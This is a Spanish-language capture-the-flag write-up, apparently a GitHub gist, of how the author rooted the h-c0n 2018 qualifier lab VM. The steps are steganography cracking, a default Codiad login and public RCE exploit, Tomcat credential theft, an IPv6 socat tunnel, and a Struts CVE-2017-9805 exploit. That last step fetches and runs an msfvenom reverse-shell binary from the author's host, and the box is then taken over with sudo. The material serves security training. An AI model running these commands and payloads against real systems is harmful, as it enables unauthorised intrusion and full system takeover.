Skip to content

Instantly share code, notes, and snippets.

@xbytemx
Last active January 18, 2018 18:01
Show Gist options
  • Save xbytemx/16878fe2e20750fd2205d7b6b360511b to your computer and use it in GitHub Desktop.
Save xbytemx/16878fe2e20750fd2205d7b6b360511b to your computer and use it in GitHub Desktop.
CTF Writeup - Qualify for h-c0n (HackPlayersCon)

H-CON

Reto (Post Original)

"El reto 22 es especial y distinto a los demás nuestros porque realmente se trata de una ronda clasificatoria para acceder al CTF de la h-c0n de 2018 que ha creado Ihacklabs.

Hasta el 14 de enero a las 0:00 horas tendréis disponible la imagen que se muestra abajo, que contiene oculto un enlace para la descarga de una máquina de laboratorio vulnerable que hay que comprometer, primero obteniendo una shell para la ejecución remota de comandos y segundo escalando privilegios hasta conseguir root y poder obtener la flag.

Ojo que la máquina sólo funciona en VMWare. En VirtualBox no reconoce correctamente el interfaz de red.

Esta flag debe remitirse a la dirección de correo electrónico hackplayerscon@gmail.com para su validación. Posteriormente se solicitará un pequeño writeup o solucionario que muestre esquemáticamente los pasos seguidos para conseguirlo.

Los primeros 45 que lo consigan obtendrán un código para acceder al CTF de iHackLabs. Y atentos porque los 5 primeros además conseguirán una entrada gratuita a la conferencia h-c0n. Si ya habían abonado la entrada con anterioridad, se les devolverá el dinero íntegramente por Paypal.

Así que ánimo y al lío:

Gracias a Dani (adon90) y Héctor (riesc0) por la máquina. Al final nos pilló un pelín el toro pero lo sorteamos ;)

Cualquier duda podéis comentarla directamente en este post o a través de nuestras RRSS pero eso sí... sin spoilers... ;)"

Original

Solución

Por: Tony Palma (xbytemx)

Lo primero que hacemos es descargar la imagen starting_CTF.jpg

$ wget https://3.bp.blogspot.com/-SRmKk4sfXfk/WlEklCnAi4I/AAAAAAABCwc/MuOHFeeCwigFB9IAlrtFQ_NIWDaPQsDXgCLcBGAs/s1600/starting_CTF.jpg

Exiftool y file no revelan nada interesante, busquemos por strings:

$ strings starting_CTF.jpg -n 1
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Como podemos ver esto corresponde a steghide, así que probablemente algún mensaje se encuentre oculto. Antes de lanzar un bruteforce, revisemos con stegsolve.jar

$ java -jar ~/Software/stegonagraphy/Stegsolve.jar 

En el red plane 1 se ve evidente un texto: rockyou.txt

stego-solved

Esto es una clara indicación de que diccionario usar. Para romper el steghide usaremos el script de EL1S1uM

$ ~/Software/stegonagraphy/steghide-crack.sh starting_CTF.jpg ~/Software/git/SecLists/Passwords/rockyou.txt  | grep -v FAILED
SUCESS - freedom
FILE: output.txt

Leemos el contenido de output.txt:

$ cat output.txt 
https://mega.nz/#!qB5TjaDJ!VHXWZEX6IBIqS-5caLxD2uDqPPx47UBLFc0lDbz4E_8

Descargamos la VM, descomprimimos y cargamos en VMware Workstation.

En mi caso use la interfase como host-only, la network que tengo establecida es 10.0.1.0/24. Del archivo de DHCPD, la primera asignación sera la 10.0.1.128, por lo que las maquinas en esta red son:

Host: 10.0.1.1
VM:   10.0.1.128

Al iniciar la maquina vemos la petición de ARP, DHCP y algunas peticiones de DNS.

Arrancamos con un nmap rápido que busque puertos abiertos en TCP:

# nmap -sS -p- --open -n --top-ports 5000 10.0.1.128

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-13 23:18 CST
Nmap scan report for 10.0.1.128
Host is up (0.00031s latency).
Not shown: 4999 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:2D:D2:A6 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 72.92 seconds

Probamos que hay en el webserver:

$ http http://10.0.1.128

HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 0
Content-Type: text/html
Date: Sun, 14 Jan 2018 05:22:41 GMT
ETag: "0-561f5da572eda"
Keep-Alive: timeout=5, max=100
Last-Modified: Thu, 04 Jan 2018 16:30:41 GMT
Server: Apache/2.4.27 (Ubuntu)

Interesante. Busquemos con gobuster.

/opt/go/bin/go run ~/Software/git/gobuster/main.go -w ~/Software/git/SecLists/Discovery/Web_Content/common.txt -u http://10.0.1.128/

Gobuster v1.3                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.0.1.128/
[+] Threads      : 10
[+] Wordlist     : /home/tony/Software/git/SecLists/Discovery/Web_Content/common.txt
[+] Status codes : 204,301,302,307,200
=====================================================
/china (Status: 301)
/index.html (Status: 200)
=====================================================

China!, vamos a China! (bside, hay un archivo hidden.html con un archivo jpg que nos dice los puertos del knockd que abren el ssh, pero como veremos eso es totalmente innecesario)

$ http http://10.0.1.128/china/ 
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 1186
Content-Type: text/html; charset=UTF-8
Date: Sun, 14 Jan 2018 05:27:23 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Pragma: no-cache
Server: Apache/2.4.27 (Ubuntu)
Set-Cookie: bba9f5c398f65303d995c735837c801b=3nvd03o8o8mnhviv5rlcbo1g9n; path=/
Vary: Accept-Encoding

<!doctype html>

<head>
    <meta charset="utf-8">
    <title>CODIAD</title>
    
... Se omite lo demás ...

El title dice CODIAD, un web-based IDE, que si abrimos por un navegador nos lleva a un login donde podremos autenticarnos. No tenemos las credenciales pero probemos la vieja confiable: admin/admin

codiad

Bingo.

Ahora esto parece que nos pudiera ayudar a subir archivos y ejecutar código aka RCE. Tal vez alguien ya automatizo esto antes... algo como [Codiad-Remote-Code-Execute-Exploit] (https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit).

Levantamos un puerto de escucha:

[shell1]$ nc -nlvp 8000
Listening on [0.0.0.0] (family 0, port 8000)

Y en otra shell ejecutamos el exploit:

[shell2]$ python exploit.py http://10.0.1.128/china/ admin admin 10.0.1.1 8000
[+] Please confirm that you have started tcp port : [8000] listening on your vps : [10.0.1.1]
[Y/n] y
[+] Starting...
[+] Login Content : {"status":"success","data":{"username":"admin"}}
[+] Login success!
[+] Getting writeable path...
[+] Path Content : {"status":"success","data":{"name":"hackplayers","path":"\/home\/hpys\/test"}}
[+] Writeable Path : /home/hpys/test
[+] Sending payload...

Listo, ya tenemos una conexión reversa para explotar.

[shell1]$ Connection from 10.0.1.128 50830 received!
sh: 0: can't access tty; job control turned off
$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

De ahora en adelante todo sera sobre la shell1. Empezaremos por enumerar:

$ netstat -pltune         
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          17902      -                   
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      102        17538      -                   
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      108        18805      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      0          17912      -                   
tcp6       0      0 :::5355                 :::*                    LISTEN      102        17541      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          18329      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           102        17544      -                   
udp        0      0 10.0.1.128:68           0.0.0.0:*                           101        41360      -                   
udp        0      0 0.0.0.0:5355            0.0.0.0:*                           102        17537      -                   
udp6       0      0 :::5355                 :::*                                102        17540      -    

Ese servicio sobre el puerto TCP/8080 se ve interesante. Podemos empezar por filtrar el UID 108:

$ cat /etc/passwd | grep 108
syslog:x:104:108::/home/syslog:/bin/false
tomcat8:x:108:115::/var/lib/tomcat8:/bin/false

Ahhh el usuario es tomcat8. Como no tenemos los PID, podríamos probar con ps una búsqueda del proceso:

$ ps -fau 108
tomcat8     635      1  0 18:21 ?        00:00:41 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat8/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -XX:+UseConcMarkSweepGC -Djdk.tls.ephemeralDHKeySize=2048 -Djava.net.preferIPv4Stack=true -Djava.net.preferIPv4Addresses -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -classpath /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat8 -Dcatalina.home=/usr/share/tomcat8 -Djava.io.tmpdir=/tmp/tomcat8-tomcat8-tmp org.apache.catalina.startup.Bootstrap start

Confirmemos si es el quien esta sobre TCP/8080:

$ curl localhost:8080
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1896  100  1896    0     0   1896      0  0:00:01 --:--:--  0:00:01  154k
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <title>Apache Tomcat</title>
</head>

<body>
<h1>It works !</h1>

<p>If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!</p>
 
... Se omite lo demás ...

Confirmamos que es Tomcat quien esta ejecutándose. Veamos ahora la versión:

$ dpkg -l | grep tomcat8-admin
ii  tomcat8-admin                       8.5.21-1ubuntu1                   all          Apache Tomcat 8 - Servlet and JSP engine -- admin web applications

¿Sera que este usuario tomcat que vimos hace unos minutos por ps -fau tenga privilegios en sudo?

$ cat /etc/group | grep tomcat
sudo:x:27:tomcat8
tomcat8:x:115:

$ cat /etc/passwd | grep tomcat
tomcat8:x:108:115::/var/lib/tomcat8:/bin/false

Como vemos si, pertenece al grupo sudo y no tiene shell.

Buscando un poco la manera de atacar esto, google nos hace una referencia a subir algo que es vulnerable y explotarlo. En este caso usaremos el WAR de STRUTS 2.5, que tiene el CVE-2017-9805.

Para ello requerimos conectarnos a Manager y subir el archivo.

Problema uno, no tenemos credenciales para acceder a /manager/.

Busquemos si podemos leerlas del archivo por defecto:

$ cat /var/lib/tomcat8/conf/tomcat-users.xml   
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>

  OJO: Revisar permisos del usuario tomcat8
-->
  <user username="tomcat" password="passwordtomcat" roles="tomcat,manager-gui"/>
</tomcat-users>

Excelente, ahora sabemos que por GUI, el usuario tomcat, con contraseña passwordtomcat puede administrar el tomcat. Ahora hay otro pequeño problema... No tenemos un navegador completo que haga el login y la interacción...

Podríamos hacer una conexión reversa de ese puerto y publicarlo por otro puerto pero tenemos un pequeño problema, como ya probamos por NMAP solo el puerto 80 esta disponible, ¡y lo estamos usando en el reverse shell!

Un FW los esta bloqueando, probemos por a buscar por UFW:

$ systemctl status ufw
* ufw.service - Uncomplicated firewall
   Loaded: loaded (/lib/systemd/system/ufw.service; enabled; vendor preset: enabled)
   Active: active (exited) since Sat 2018-01-13 12:20:48 PST; 9h ago
     Docs: man:ufw(8)
  Process: 307 ExecStart=/lib/ufw/ufw-init start quiet (code=exited, status=0/SUCCESS)
 Main PID: 307 (code=exited, status=0/SUCCESS)
    Tasks: 0 (limit: 19660)
   CGroup: /system.slice/ufw.service

Esto nos va a limitar mucho, a menos que ...

$ ip -6 a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP qlen 1000
    inet6 fe80::20c:29ff:fe2d:d2a6/64 scope link 
       valid_lft forever preferred_lft forever

Y escaneando IPv6:

# nmap -6 -sS -p- -n --open fe80::20c:29ff:fe2d:d2a6%vmnet1

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-13 23:43 CST
Nmap scan report for fe80::20c:29ff:fe2d:d2a6
Host is up (0.00046s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5355/tcp open  llmnr
MAC Address: 00:0C:29:2D:D2:A6 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 71.69 seconds

Boom! No firewall sobre IPv6.

Investigando, llegue a la conclusión que un túnel de IPv4-IPv6-IPv4 seria lo mejor, ya que no todos los navegadores soportan direcciones IPv6 link-local layer por interfase, pero no lograba dar como.

Y cuando todo parecía perdido llego ... SOCAT.

[VM]$ socat TCP6-LISTEN:8084,fork  TCP4:127.0.0.1:8080
[HOST]$ socat TCP4-LISTEN:8083,fork TCP6:[fe80::20c:29ff:fe2d:d2a6%vmnet1]:8084

Como se puede observar, abro en listen el puerto 8084 para mis direcciones IPv6, osea solo la única actual, y lo conecto al puerto 8080 de localhost. Del otro lado inicio en listen el puerto TCP/8083 de 0.0.0.0 y conecto con la dirección en IPv6 fe80::20c:29ff:fe2d:d2a6 de la interfase vmnet1 en el puerto 8084.

tomcat1.png

Ahora ya podemos llegar a /manager/html, y con las credenciales que ya obtuvimos podemos iniciar el login.

tomcat2

Hacemos la descarga y descomprimimos el archivo que se encuentra aquí. Buscamos el archivo struts2-rest-showcase.war es el que subiremos.

Hacemos la carga, y verificamos que ya este funcionando:

Orders

Preparamos un reverse shell para subir:

[HOST]$ msfvenom -p linux/x86/shell_reverse_tcp -f elf LHOST=10.0.1.1 LPORT=8001 -o /tmp/himom/rsh1

Ahora preparamos el web server para que la VM descargue el archivo:

[HOST2]$ cd /tmp/himom/ && python -m SimpleHTTPServer 8002
Serving HTTP on 0.0.0.0 port 8002 ...

Ahora si ejecutamos el exploit para el CVE-2017-9805

[HOST]$ wget https://www.exploit-db.com/download/42627.py
[HOST]$ python 42627.py http://localhost:8083/struts2-rest-showcase/orders/3 "wget http://10.0.1.1:8002/rsh1 -O /tmp/rsh1"

Confirmamos que fue ejecutado exitosamente a pesar del debug info que nos arroja verificando que la otra shell(2) vio la descarga del archivo:

[HOST2]$
10.0.1.128 - - [13/Jan/2018 22:33:32] "GET /rsh1 HTTP/1.1" 200 -

Procedemos a darle permisos de ejecución:

[HOST]$ python 42627.py http://localhost:8083/struts2-rest-showcase/orders/3 "chmod +x /tmp/rsh1"

Abrimos en otra shell(3) un NC para esperar la conexión:

[HOST3]$ nc -lvnp 8001
Listening on [0.0.0.0] (family 0, port 8001)

Ejecutamos el binario remotamente:

[HOST]$ python 42627.py http://localhost:8083/struts2-rest-showcase/orders/3 "/tmp/rsh1"

Confirmamos la conexión reversa y verificamos el id:

Connection from 10.0.1.128 53426 received!
[VM3]$ id
uid=108(tomcat8) gid=115(tomcat8) groups=115(tomcat8),27(sudo)

Hacemos el spawn de una mejor shell:

[VM3]$ python -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

tomcat8@h-c0n_prequals:/var/lib/tomcat8$ id
id
uid=108(tomcat8) gid=115(tomcat8) groups=115(tomcat8),27(sudo)

Nos convertimos en root:

tomcat8@h-c0n_prequals:/var/lib/tomcat8$ sudo su
sudo su
root@h-c0n_prequals:/var/lib/tomcat8# id
id
uid=0(root) gid=0(root) groups=0(root)

Y finalmente, vamos a root y ejecutamos la bandera:

root@h-c0n_prequals:/var/lib/tomcat8# cd 
cd 
root@h-c0n_prequals:~# ls
ls
flag
root@h-c0n_prequals:~# ./flag
./flag
ouTUMtV9CSlp6Twxvw8mLbrpg7f64ORVGa6bJ/x+wuA=
root@h-c0n_prequals:~#     

Fin.

This file has been truncated, but you can view the full file.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment